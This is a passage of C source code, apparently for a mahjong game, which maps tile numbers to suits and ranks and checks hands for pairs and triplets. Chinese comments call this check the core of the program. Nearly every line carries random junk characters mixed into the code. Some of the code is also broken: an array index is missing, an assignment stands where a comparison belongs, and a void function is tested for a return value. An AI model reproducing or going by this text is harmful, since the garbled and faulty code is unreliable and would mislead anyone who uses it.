else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)# g# Z1 s( A! d2 E4 u
{
8 G0 m# o" _% L- E! g& k* g: q5 Ilogo=2;5 F; A4 M* A% j" b0 q. I7 ?& a6 k4 o% E5 M
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
6 C& i' `1 t; S. b4 d" Elogoo=1;) N: y7 T& d  o. E. y5 t
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
+ Y! L0 x$ J) ^) ~- Qlogoo=2;7 w9 G& X% H* t
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
5 m* m, x4 G/ l8 K3 h& L/ Tlogoo=3;
: _" D( U; I3 ~* k2 Oelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
6 W) A. F: O# J) q+ |; q0 U' ~logoo=4;
3 |$ q9 p* q: l3 Nelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)4 s  N% K. U3 a$ Y: d6 U
logoo=5;0 ^# H+ [* ]: l8 f/ s# h" J
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)$ X0 R0 T, C% J! k
logoo=6;
  }+ ^( j$ }. c$ O( Felse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
: }# h) m# l) G3 ?logoo=7;. g+ Q, x7 [6 i
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)( y- o" Z1 v2 n) J  ]3 z3 F& e2 |
logoo=8;
# p" W- ]( ]$ qelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
* c1 f1 i$ `! h5 V" l/ N. slogoo=9;) x& M0 c0 W' {4 s: t& f
}6 ~4 v( d2 I  I7 Z% a
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)0 n# _$ N, C. {+ r" M8 @
{& u9 q' \1 O, Y7 F7 H7 e
logo=3;
7 w8 A: |9 u1 k3 P7 i' Qif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)5 H7 J2 G3 w* K: ~7 R1 Q
logoo=1;3 ^* b' {2 L& ]8 |# x
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
1 q! I6 q0 w1 L8 M* N! U& A  R% Dlogoo=2;
/ O- c$ Y9 e" b% T* [else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
/ f* u2 {6 ]: V. }. b6 klogoo=3;5 m0 Q5 ?& h! W( B. Z! k5 }  ?
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)! C3 w( h# {; k$ ?* T
logoo=4;" c+ f) o; J" d
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88), ~6 j1 |+ W8 B, j: J$ R; S
logoo=5;
/ z( U9 C1 S  k, @1 F7 S7 Z" e- a' Selse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)6 r0 Z' l9 P9 d4 I- \0 k
logoo=6;. w2 M; W3 q6 C9 X
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96), N5 }) X; ?$ n0 N' B3 H6 _
logoo=7;: i5 r0 Q" X, u& P
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)& F( W, @5 n- E# t* Q
logoo=8;# R" q2 k, B0 P" y( D5 }
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
1 n  }( g8 T6 C& p& M7 ylogoo=9;+ ]9 n1 n- j* n! ]: U1 N: y9 Q
}( \' E2 o6 Z7 D) Y/ K
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)! b% p% Z' [! [% F0 D
{' o9 n7 ~. T+ i# a- j/ W6 ~1 C
logo=4;
7 @  \6 E4 Q5 i& Aif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)+ S: m1 u4 ^8 a1 g
logoo=1;
+ q; Z: ]  v: |8 |9 x$ Yelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
! a, o, f9 o: t9 G5 `' W7 rlogoo=2;6 @0 K' N8 Q0 }8 Q; [2 Z4 J
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
  F0 r: x/ q# i4 [logoo=3;
. f0 S% P* g  V0 ^else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)% D$ P! I$ ]- e' Z) t
logoo=4;; n( R* t% j6 {7 B, g& T6 _5 K
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)( G9 [- B; P) ~9 X& b
logoo=5;
# K9 ~; S6 q1 v4 Helse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)8 u. D' w5 |0 N7 L  {- c- W
logoo=6;1 f  X4 v  R# V1 o
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)+ u7 J9 ^! f7 P6 ]2 a
logoo=7;% a" {! d. Z; Y- a# C: p0 W
}. Q) M% i2 D' N: d& H7 `& I3 y
while(b&lt;=me.m)
1 m2 A6 O5 H+ l( T; ?2 P  E{
  `, ]6 D( T5 }5 t2 \if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
2 K5 Z! ~, t5 E0 u1 V6 T' D) s{# S7 {% \1 d8 h$ b' d: N' a: Y
lg=1;
, {5 w' C6 z1 S1 {! vme.pp.d[0]=1;6 [) j) i5 T( T$ |: l8 E0 A4 m2 S
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
7 \0 V8 D: w- U; m{3 n4 ?8 ]) H+ x
lgg=1;0 ~8 s( I' W5 G* @
me.pp.d[1]=1;4 }: J1 y9 ?1 w
}
2 x) E  N& C" I/ R: Gelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
. o$ @" m) l, |! J" n4 R) j5 u{
6 e2 ]1 B6 r5 H1 b  O7 P# o+ qlgg=2;
) V% z# x5 o2 ]" v! M3 Jme.pp.d[1]=2;
" y  J$ B4 ?4 A  ?1 P}4 N1 I* w5 p. h) b8 I# i
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
" O+ S! q% B! V! Q: ^+ ~" c{
1 `) v/ [6 m8 N2 @lgg=3;
; e( P! T  S' R( pme.pp.d[1]=3;
6 p  i" P  q, C$ x, B( C5 j}
( B4 q, a+ u- I! X6 m  z5 helse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
% a7 s7 ^6 k! Z0 W3 E( S{
/ K* G0 L9 ^' m" K7 Vlgg=4;* H  d4 V& Y2 }) {6 y
me.pp.d[1]=4;" F' G  o, A$ K+ S1 i
}: V) t0 W$ v5 I! T1 j- u5 t
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
2 P+ b& q* A1 f3 j{
' ?1 p/ [+ F" ]1 ]5 \# slgg=5;4 V. H5 y: X* f2 O
me.pp.d[1]=5;0 P# K6 p1 i, t4 l) R/ X+ {, e) ~
}
# S% `2 X' q8 T& e+ L, O. pelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)6 t# {/ z$ r( z3 `9 {
{( V2 n8 B7 v; @/ p0 z% H- u
lgg=6;5 \  l$ ~+ x& ~8 m7 P
me.pp.d[1]=6;1 A: G% L, ~4 V( H1 {* M6 Y8 U
}. J0 h% ~" d! O4 S$ B- Q- q; ]
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
0 K5 W( J' ?) `0 |{
* L( P' w1 T5 l7 X" d7 Clgg=7;
2 x8 y/ }* A( x5 Tme.pp.d[1]=7;& a6 \" ]- P4 k: `$ f# w
}; f) X5 W8 e5 S- e* @3 N' x/ I
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
. h! m' m9 @# O) j0 V: A: P{
% j  w6 e5 |) A: r. N4 T, _lgg=8;8 V$ ?' i1 _2 b
me.pp.d[1]=8;
: Y- i( P6 e3 Z5 W) |7 a( d7 h}" P! J. s; P2 {, Y$ m
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
. d  U7 I0 S4 q; Y3 f{
/ J' J* n6 f. A: }2 m: C* U( i- F' W5 x1 Klgg=9;
/ a' }& T! r2 @+ e$ ], b) s" t* Qme.pp.d[1]=9;
. I# e) I3 G: g# A}
6 A" p4 R6 c- o- g9 h}1 C/ p2 h1 r3 a# ~# Q8 F2 T6 k
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
+ }" z, ~, X' c/ a{
. d  V1 d3 v4 A& y& w6 f7 {lg=2;
9 k( q7 u  E4 A9 H+ Ame.pp.d[0]=2;
7 J: t' e7 ?# U- Gif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
% h% M5 ^7 p3 O# X{
! U  E  K& D+ i) ylgg=1;
8 N; \: M( k5 H  j7 `: K6 pme.pp.d[1]=1;
8 A2 W) e+ u, u# ?9 I7 U/ [}
* k% D3 [1 A. D+ eelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)( n- j7 N# |9 d
{7 A% }; f7 o1 R7 s9 ]: p9 o
lgg=2;
& ]" O* }! I, b8 Z2 J7 nme.pp.d[1]=2;1 U, w% }$ B9 m' b1 Z
}
" D' [8 V% _1 X' V5 u- Pelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)5 k8 |& r6 A4 w) ^* n; h. S
{
# c5 j0 P1 R3 ?) q0 F, b& slgg=3;
: [* A1 r/ B! x/ Eme.pp.d[1]=3;1 w* L$ P/ p' i* _8 e
}
( I' O3 Y# c9 S1 p' |) m" G+ n9 @( eelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)  R8 Q" A) p' l: C8 n5 s
{; _. h! \/ j! Y4 a4 {7 n- j( M
lgg=4;8 @" q, c: @" n7 ?
me.pp.d[1]=4;
! U; C, O) }: D8 K* B+ ]! W}
- q' v, }6 F+ C) ?else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
% p. d4 P* a2 b. E1 X3 Z{
" }% D' z% A+ a2 U7 a7 mlgg=5;2 o1 w& q* D& ]) r+ Z5 u) B7 ^/ a0 C
me.pp.d[1]=5;% i/ ^# C0 h: r& e2 ^: F
}
% r% ]' C/ E* r2 Gelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
6 m; B6 ]4 I1 u! {{9 B8 {, S2 m, x6 `- S. k
lgg=6;/ _( X$ G1 D' I; M9 X
me.pp.d[1]=6;
3 S1 z: \3 y9 D8 g# N8 [6 I( q}3 k# }9 T. P& _' Z
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)6 r6 |# N& s6 ^9 a
{
* U3 h, T; |: t: S0 Xlgg=7;  ?- y4 Y+ y! n  d& A
me.pp.d[1]=7;
0 ?9 X5 u+ H. k9 ?, ~/ A}
5 V% I8 R* ^2 F/ A4 k4 W' {* D+ Pelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
) ~  V, ]0 U9 g& }7 i. v{
+ O1 E9 c# `% plgg=8;
% M0 `& z+ [) r3 G- Jme.pp.d[1]=8;/ \- Y, ^/ G+ r" o+ \$ d% p% ?( t
}
  A+ Q2 _4 C4 M% q, y4 n$ Nelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
" ^1 ^/ S" u1 S* u$ [{
, O8 z8 t1 s1 G- n2 n& t6 w. Glgg=9;
9 J# D  E: ~' @) {me.pp.d[1]=9;
* V  w/ [$ b. |3 e& k8 E}
' c4 |2 g' @7 a% c}
$ X! ^0 N* B! I" t* \) w" R& l. Yelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
; [/ w- B7 v" m. \& M6 v% J: \{, |( i$ t' u: U1 s
lg=3;# h+ ]* B( j4 H$ a* ^! U4 {  j
me.pp.d[0]=3;
" t6 m% M! i- v! }# R& U1 {. L) jif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)# }$ S* T1 s% B5 V8 h' K
{( i4 w, b7 C4 C$ p( f1 s0 C
lgg=1;
) x' V. n5 r6 Jme.pp.d[1]=1;8 U# j; O7 }# q7 q* W+ e
}
: `5 `% O& t9 T9 pelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)6 X' Q  @& |4 [
{. t8 z7 ^5 O2 _& M+ F' k& p
lgg=2;: p5 @- f% R* S6 y0 Z. m1 T
me.pp.d[1]=2;
3 k3 }7 L# |/ }! D" V+ v! G}1 C# T" q8 E  C/ l0 ]8 Y. V/ b$ ?
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)& o9 M: p5 o5 @/ U- w7 F4 b$ B
{
# f: ?7 z- C& e( u- {. f. [4 Flgg=3;
' y- u( t6 Y8 @0 R9 G' qme.pp.d[1]=3;
! M4 ~7 J( ~; c8 t$ |, s  w}
" w& b: [0 e( {) L3 relse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)* Z( C# L3 R4 f' D1 }8 m
{
) _- u1 H& V- D1 D9 [5 n! O5 Vlgg=4;
. y4 I5 B2 I2 \" m$ u7 b: ~' e4 N, ome.pp.d[1]=4;
2 N2 u, q0 X/ j1 i$ d}2 ?1 Q/ W, X4 l; i7 @7 M/ e5 H! I
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
' o* q. L0 I' B! e0 c0 `{5 o) J! }4 |- I
lgg=5;* |. w! t! y% f8 P4 @* r9 o3 E
me.pp.d[1]=5;
$ v; _# w! F( N& h# t+ n# I}8 \9 U9 o# c/ \' G* H) ~
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)4 _9 U9 }) B% ?  R% g! j% Y# n
{# \/ K2 j7 Z; h! N7 `, i
lgg=6;; G& I- X& c: W2 b: F2 u9 ~
me.pp.d[1]=6;
: x& I7 I  h" ^4 u6 B}- s5 _; r2 Z+ O" t- n
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
# j3 d" X8 L# q4 g, e8 X{
# \6 R6 Y  S) d4 q4 `lgg=7;5 n# o2 n0 J" R( ^( l  n% E  |( ?
me.pp.d[1]=7;
  Z6 g8 U0 j6 A+ N+ _. L) P/ u+ f}  \$ h1 e; j# ?3 T# N/ n
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
9 A; ?; O! B1 z. k- K0 i{
& `5 q$ O/ @3 b1 a1 c* Z% V4 ulgg=8;6 h" d& ^, ?. u; `2 s
me.pp.d[1]=8;% l* o# e4 _- n+ p
}
& x5 Q  ^2 E% E4 melse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
+ \4 ^. R' Z+ }) @) X: u, o4 l" Z9 J{
# o5 y5 E4 x3 Rlgg=9;
& O* Z" \7 f3 H% x/ s! \me.pp.d[1]=9;
5 u5 T0 A0 j& t/ w}
8 e6 _1 y/ M2 o9 ?) B! k9 F}4 v$ |! m' @! B0 y" a
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
# y  D( z; t( w{
6 O5 J( O/ o$ J+ o/ P8 tlg=4;
. F4 A0 e4 X- b$ \! v) p# P1 vme.pp.d[0]=4;5 l5 |5 S* p3 s; _4 ?9 v; C
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
% q% Z1 V" k$ E5 Z9 V{
% |) }& W: j, V' \2 N. o2 }# [; {lgg=1;" m& Z0 E; q% H$ j( i8 P
me.pp.d[1]=1;  F* x% |3 `" Q1 `
}- p) l- K8 Y& h5 N* @  V
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112); ^* ~9 `5 K% n# T9 V% H
{
+ K* I' l8 N& L( U0 S0 Wlgg=2;
6 T6 N7 q; g7 f5 t3 Fme.pp.d[1]=2;5 D- [# C4 h9 H1 ]8 N2 }
}9 I1 `' J, I' ^3 p
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
- d9 N8 U! f# N* s# |& s1 K' d0 B7 u{1 D" K3 o1 |7 K. ~2 G
lgg=3;" _1 v$ E' i* \  e
me.pp.d[1]=3;
$ @6 r8 W2 K6 s' g: q. s) p}0 i- `/ D! o8 P7 U3 }$ d( a
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
' B/ w7 M. p5 L# m1 k{4 V3 V- V* t0 k0 W; ]4 K- ^
lgg=4;5 y* ^8 L1 d7 z1 m1 \  p
me.pp.d[1]=4;
" ^+ X' n$ G3 z( r7 X2 @0 H; K}
  \7 m6 M1 @; I0 celse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)( U2 Q- C" j) |
{
- C3 I+ s3 R# b+ Plgg=5;
  C6 Q! m" e2 p  U( Ome.pp.d[1]=5;9 M7 Q! w& U4 k/ Y
}- L# ]# O$ d, [$ t. g7 `; r
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)* t; _9 [/ \; g
{
7 A  a7 e; R  y  t+ T$ zlgg=6;
, d/ `3 P  i) d4 c4 p4 W: H* K2 jme.pp.d[1]=6;0 a, P9 \. v6 v! H9 t
}
" E" N& y! U: c8 F( g# A$ J8 }else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)# ?/ }1 ]- w- H2 O0 I8 L' d
{
- Y+ D; ]7 x0 k8 O( ~3 k3 H/ Flgg=7;
" B6 J/ U# G' pme.pp.d[1]=7;
9 o7 x7 }: r$ N. q' Z}
! M+ x9 e7 r) R) y}+ S: V; K- R0 [) ]
}, e' D, s! p  y- j! Z- b6 ?
}8 ?( m' s8 s6 A
void istwo(testt)
' X  S4 U8 W$ a: uint testt[];6 P3 G# v* L; d( B7 h0 P  Y& x8 Y# e
{ if(testt[0]==testt[1])
' H6 Q8 P; |+ ~second++;. H2 `5 i* \- g2 T
}
1 q. g' ]( c5 X3 E! L2 [. _void isthree(testt,n)
$ n! x9 ^% I- y$ r  ]- Hint testt[],n=0;
1 O; S  P; }5 y. N. C; K" V) W9 t$ E+ O2 c{ int i,j,flage=0,lianx=0,same=0;
$ V) I) v  A! p' j) k( _n=n/3;
! q6 O( B" P$ F0 T% v! J* Hfor(j=0;j&lt;n;j++)4 I# G  K$ p+ H
{
! a1 B0 D' {2 l/ w+ X$ P; efor(i=j*3;i&lt;2+j*3;i++)
2 ^( p; C. y8 Y3 _* A  G# |1 m{
7 v$ K$ E& q$ ~8 }; D! l; [if(testt==testt[i+1])
3 J, y% [# d$ A% N  K! Ysame++;
! T, P7 F6 \& M+ e- hif(testt[i+1]-testt==1)' }1 ~% R' K' s# ?& n2 x9 l
lianx++;
  L2 N5 ~. Z' {+ j: t' ?! E3 P5 G5 ?}
/ X! F* V# ?' w1 E: Gif(same==2)
$ q9 \4 l8 M: b$ R! B7 x7 S* y) {threes++;
$ A! J6 r/ L1 n( ?7 w5 Wif(lianx==2)* h( e' Y6 R1 @: U1 K, z' S' K+ G2 n* R
threes++;
, g) m1 i6 x7 Z3 \same=0;
& `8 n! W# c, ]; ]/ z6 b9 clianx=0;
5 ]$ _  Q, e3 s6 ^3 J5 @1 W}
8 f" j0 ^0 U6 ?1 r$ `/ y* g; I}
8 F' J) ]5 z9 q  Evoid panduan() /*本程序的精髓*/" z  M( }) |4 d) `
{int data[14];% [# ]5 W9 ^4 a7 D, A; H
int pw[14];
# @, q, B% g& xint pt[14];% z4 `6 {5 @' j7 K$ e
int pi[14];% m9 Z% S+ k0 F) J' }+ e# o
int pf[14];
5 L3 p0 x! l+ z& hint test[12];/ a. `. U2 R; S) D  ^2 _5 b
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;! v& [5 n9 y( |; R% N* `
for(jj=0;jj&lt;=me.m;jj++)
- o- m6 v* |4 [{
( A2 v; B' ^! t: Xif(me.pp[jj].d[0]==1)
, a$ E2 b& j+ k' a" X7 y+ Sdata[jj]=me.pp[jj].d[1];
! d' N/ F2 [8 m1 Lif(me.pp[jj].d[0]==2)5 |! g$ {+ P: p3 O9 Y
data[jj]=me.pp[jj].d[1]+10;
6 I, g/ n  {+ R7 L" j& H7 iif(me.pp[jj].d[0]==3)# e. {; e2 i2 I7 `
data[jj]=me.pp[jj].d[1]+20;3 S0 n' |5 k0 a, F
if(me.pp[jj].d[0]==4)
# H. O* |  k! A9 T8 d4 R, odata[jj]=me.pp[jj].d[1]+30;" g9 i8 K  l3 A" ~" m9 K0 ^
}5 e' Q( M) q7 }; U5 K$ W7 q9 z
if(logo==2)
! L+ o/ A6 h* ]- K8 `w=logoo+10;4 s9 \& z$ |5 g
if(logo==3)/ h& _* O3 o7 A8 n$ F
w=logoo+20;
. u) R  x* l- K- |7 Fif(logo==4)
) y1 w0 Z- d: Lw=logoo+30;
7 I: z1 t' k5 h6 `8 w' fdata[computer.m+1]=w;
8 X) B. m+ p8 U) m& H* l) C: {for(mm=0;mm&lt;=computer.m;mm++)
5 j% H3 ^4 f5 l: g" s. ]for(nn=mm;nn&lt;=computer.m;nn++)9 q2 l. j$ C0 X- b0 W" ]& B
if(data[mm]&gt;data[nn+1])* X9 X% \7 s% Y, @
{* m, D# |3 O$ f) T
tpp=data[mm];
' q. k; C; o' bdata[mm]=data[nn+1];/ X5 d) |8 _: W9 L2 q
data[nn+1]=tpp;/ e  E, z- H( z
}1 H( \! K4 {9 H' |; r3 Y* {6 |
lp=0;. w/ D& E8 W$ y  ?; E1 V
while(lp&lt;=computer.m)7 L" m$ E  U$ C) d8 k( H, E; _0 a* N
{ if(data[lp]&lt;10)( W6 C# f# t3 q# K6 K
pw[ww++]=data[lp];
0 d- [4 F3 ?8 q  T5 @/ xif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)" l9 ?9 A' l+ c0 T7 E# ~: }$ O
pt[tt++]=data[lp];% l" V9 u* H; ?) j, A
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
  H* j2 L8 Z8 Mpi[ii++]=data[lp];1 t  m" H* {5 ~0 `  ^* @
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
& J) L2 P# g# P3 f* S8 g  ]4 rpf[ff++]=data[lp];
. K' z9 J' n' R- dlp++;
5 n" M; B+ |$ K- b8 ?}
, |8 ^$ k. \' h% J; K: ~if(ww==2)
( V& u6 B( `2 B& ~. fistwo(pw);$ Y5 G6 P- a2 a
else if(ww==3)
4 W& d# V: E$ A) k( k; L# A. fisthree(pw,ww);. O5 C. t% [9 o
else if(ww==5)
! P6 o6 ~% M, e) }5 K/*pw[5]原始牌数组,假设已经升序排列*/- d* u+ [1 X+ c0 ]- Q& A( S
/*test[3]用来放置测试牌的数组*/6 t) E0 j0 \3 H
for(i=0;i&lt;4;i++)
7 D2 W; Z! Z) ^. S  N  m3 _/ A{; P( s7 q2 L* V6 Y
for(j=0;j&lt;2;j++)
/ b1 b* ]2 u; T6 D* Z% U3 V{test[j]=pw[i+j];7 T0 ?% S4 H* z8 [  k* f+ y; k0 [
}7 \, u. T2 X4 H" }
if(istwo(test))% S0 R) L2 Z' O+ M" u2 u
{ ill=0;
% D5 U9 u& N) ]9 \9 Zfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
. n7 L6 i+ Z' {{if(kl==i)
) J8 l' P7 E2 r+ k6 Q: f' z{
+ D+ |/ b/ ^0 fkl=kl+2;9 X4 C% G3 ^: L" S
if(kl==5)
* t: ^$ |1 ]8 @2 Cbreak;- F7 Q* I# l# y/ X4 o/ ]  i) _
}& s5 I4 h- P- k( m( }2 F3 h/ B
test[ill++]=pw[kl];
' s6 |! y% S) j, U}
- F/ j+ @4 R# B' t1 E0 cisthree(test);
5 X, X3 F& f4 q5 A}* U' U7 M! v' }  }8 n4 |0 @
}
* X2 E, t. Z2 T! |else if(ww==6)" T, q- s. Y$ ]( v( i' e, G' Q
isthree(pw,ww);
$ h0 x* u0 M7 q3 X7 ^) U+ Nelse if(ww==8)+ p9 l5 N# w1 [' V
for(i=0;i&lt;7;i++)
% X. A/ E* f: o) a( s: W& k$ \* K{
3 `1 B/ p2 R1 h; f* k# Y- w8 ~2 H& Lfor(j=0;j&lt;2;j++)% N; |* b$ u1 x0 x$ S7 d% A" N
{test[j]=pw[i+j];
1 p9 f* {9 V9 w7 N" A}
- d% x1 _+ ^9 {3 mif(istwo(test))
  u3 V# |) |0 [1 G; L) F{ ill=0;
# F* v2 X% X* F8 L2 yfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/* S" D0 ~0 l4 ]+ o' c* L
{if(kl==i)% |' a% K4 B! m, Q5 {7 u
{
- l2 J; Q( ^# y! {0 g! Zkl=kl+2;
: a. `5 D/ P/ ~  H, I2 n& Hif(kl==8)+ U" j3 F/ O7 Y0 Y% @: I
break;& v) {: Y, N# \* E# o
}
% i, y( c# P# Q& }# Htest[ill++]=pw[kl];
1 M! f: f( |& D4 r0 a}
0 p- T  D3 V3 \) V) Iisthree(test,ww-2); ' O* T" a5 r2 S
}
6 A& G9 [/ t# B# W1 w. Y}
4 ]1 G5 E2 o* belse if(ww==9)* S, {4 i* j) |/ L; C+ v- s
isthree(pw,ww);
0 i! y* b/ q& V- `- n6 c3 I% ]else if(ww==11)
6 m3 g. s8 U/ a) Rfor(i=0;i&lt;10;i++)
( ~7 p& q. e. u/ [+ w, T{
* m/ J) o! f3 k& ufor(j=0;j&lt;2;j++): R- H+ |* o7 J! G( L, D  A
{test[j]=pw[i+j]; ' L% ?3 Z( N% P
}5 `- k8 f, r0 d: i1 Y+ j( T
if(istwo(test))
* o. ~* n) k9 K3 F, f) k, r# a{ ill=0;# ^) T3 N8 Y/ d, h
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/" }7 r! i+ m4 b8 w; S
{if(kl==i)
% w( M4 f3 @! t{+ ]  E' u/ w" G: {
kl=kl+2;
8 Q1 g( [$ L% Y! E; K6 Eif(kl==11)0 j) d! [2 D' D: a
break;7 I) L0 a" ]$ Z# a
}
* i* ]' y$ |" y4 ltest[ill++]=pw[kl];% _* h5 ^( M2 G, m+ [
}
2 i9 e  X2 T. ?5 e2 z6 visthree(test,ww-2);
+ t6 P9 [( v# _! l4 I) _5 c}) b8 {% T* ?8 D" A- i$ d/ b3 z
}
4 q7 O5 m9 ?+ R6 p3 b5 ~3 A4 _* Qelse if(ww=12)' o5 H, [( R5 d. l4 ?" c: Y
isthree(pw,ww);
5 y7 a3 R2 m0 G5 H9 r# K% l+ _, ]( Yelse if(ww=14)) ~  e% y3 T( l! [8 Y$ Q2 g) h2 o1 T
for(i=0;i&lt;13;i++)
+ m. e# l2 g: H4 {! B2 p{
. n# M2 i$ r9 a' D) Y; zfor(j=0;j&lt;2;j++)5 X2 R! A8 X( e. |. Y
{test[j]=pw[i+j];
! m0 h1 m2 ?3 l& f}
+ I- r' @% x* [4 R& Yif(istwo(test))
! d: X+ @8 D, t$ A& W. _2 R0 `{ ill=0;
( |# h! s, e" T( ]for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- @! e: C( k& c
{if(kl==i); z$ _2 o. e! S% \; K7 _/ O
{. ]1 l. T# _. N8 L. N+ o
kl=kl+2;* c4 ^- c+ N; s
if(kl==14); d& X7 e  d+ V. T& r
break;5 W$ G+ h0 \* S% B; u
}- a: e; T- c) W9 O5 U/ f0 L1 ]2 U) l6 `$ W
test[ill++]=pw[kl];2 R# {- e5 S4 n* \, D; [
}9 ]/ J- t) C( W" c% a. U
isthree(test,ww-2);
- G- y6 }; {2 q: N& h# ]}) O7 q/ t; R* g) y  M( y4 R& c) \
}
, e" N3 d$ [& F/ D0 h5 @if(tt==2)/ \8 D7 D& A$ `+ Y8 B
istwo(pt);& F2 E/ |" F5 t3 G3 R- y
else if(tt==3)9 X( I. Q2 m9 _) m
isthree(pt,tt);- l  A7 H% {( J
else if(tt==5)
5 P2 J- [  ?; w/*pt[5]原始牌数组,假设已经升序排列*/
3 {, |  ?2 L5 ]- T, d5 N5 q/*test[3]用来放置测试牌的数组*/- E0 A  V( k% ]5 N/ }
for(i=0;i&lt;4;i++)
/ j' {/ ?% O" g, ~" V3 F{! q# x5 M; B6 X1 O; O5 N# r
for(j=0;j&lt;2;j++)
. g" M$ G6 Y# m$ V4 T* A{test[j]=pt[i+j];
5 b- q# F  |2 K2 c# ]9 o& ^" t4 z}
! c8 e5 l4 f+ w# @if(istwo(test)): W( d- d2 p. z! m% Q' z0 v0 O/ D
{ ill=0;
& ~, I- z- ?% I% f: Y9 j% Pfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/, X! |, T; d9 l
{if(kl==i)
& M. w" G* g: S$ o{; T+ p7 d6 ?* t; k& N
kl=kl+2;8 K3 C2 ]6 W: s$ d5 I" B
if(kl==5)( {/ v/ r! ]) F' o( n
break;! c: V2 o/ ], a" q1 d4 ?
}* ]7 g5 ^6 b$ e9 u# t
test[ill++]=pt[kl];' z! b( D# j( G% d
}1 }8 X; S; Z% l+ E
isthree(test);
5 I; W+ G4 f8 T. m" \}. C1 p$ n+ n: W" T' z4 P
}3 N' m9 H$ e  g; l
else if(tt==6)
" d( x" E4 b, X0 o% F: W1 histhree(pt,tt);
